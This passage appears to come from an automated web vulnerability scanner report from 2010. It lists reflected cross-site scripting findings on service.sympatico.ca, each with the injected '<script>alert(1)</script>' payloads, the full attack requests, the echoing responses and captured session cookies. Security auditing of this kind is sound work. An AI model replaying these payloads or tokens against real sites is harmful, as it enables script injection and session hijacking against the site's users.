3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:25 GMT
Connection: close
Set-Cookie: SMSESSION=guraUJ/zVQS+6aANZwRf9K54WNffUXOo9Wy5EvW9pdZtkJ1zrGBAytpVapYKFphG+apypvsd3t+clATmxt1JPYvng/iUWV13X7jKRbQpfh7GT2+mGJmTu7k+RYtR45II/mWGWdHxKqiC4gYsExKYpeaJF4wRLV0YYLU0Dt9MZ7FH3Ujl9tw+UoHmrZ+stAhMgAPVbNdaKh8ZNbmjFuU7vR9/KWoe9SPMgiKPCM6z47jj0j7EICZb4MO3PkFIztzeVeF6SsP02jdqRD1izhbRAyEGs5bGINiy7pla/5HJkIbFSY9sNizNDQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:25 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconsadc90"><script>alert(1)</script>c2df639870e/vi_topNavWireless.png" />
...[SNIP]...

2.167. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8e79"><script>alert(1)</script>4149f3bd188 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.pnga8e79"><script>alert(1)</script>4149f3bd188 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:27 GMT
Connection: close
Set-Cookie: SMSESSION=88bNP9b8cjkrlCRntP3OEq/c0fyFyOhIQBLXdQfLs6uwlu0CmHaMUgzygNuO4FtNk/ROT7f65tZbWY1e8O+UQ/zzPmR3isPFjawPhRLNtmkNe0NtpIKNjPi6hfgvoUQXnWrVRozxVNuGmBIQVH9HfKEVxwGVPBj4Qt0sh7Nwhy/4d4SiEcdV2JGbw8sjWzy1EOtWit1EXLNqIQxPHq3iITYsTvsbWJuFc4G5Mqm1W/RYtnemzjG+DjLvP00CcaCawRiLBVgswYG6qb//vzdHeOdp25C6Z9gr1rXqwRbJBJFiWf29Fk1oUg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:27 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
x.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.pnga8e79"><script>alert(1)</script>4149f3bd188" />
...[SNIP]...

2.168. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa1c9"><script>alert(1)</script>99e0dfc6c92 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png?aa1c9"><script>alert(1)</script>99e0dfc6c92=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=D5PPrk5sEZVo4FDBpmI3gcKMK/UO40i1Yi4f+9DAuYQdeUui0pT7/psWX19K4FgFKYlr2GiUoUQO4ejjurXaWwznRXuyYcuYc4U+Gv+dc0EFa5MoHUEFcIWY0uvrflHyUoMhWIolflwM7FyU6JKFGmrVlawAB4VNdOL5s3NXlLFXNGl/BUct3CA5SFdOn+zqShOQ9xCK8OAcoBFwbY+LH0LD9UW7l1Ymqvcs3xx2DfsQ4VzzbSBlcYQV5OryaIgl6TwgCFQ7f4Tc6cIbjClzOK+7VglEu+F8CXhbNNHS2xeVEb202gAa3A==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavWireless.png?aa1c9"><script>alert(1)</script>99e0dfc6c92=1" />
...[SNIP]...

2.169. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8e15"><script>alert(1)</script>c1977b1c178 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cf8e15"><script>alert(1)</script>c1977b1c178/images/logos/lg_bell.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; 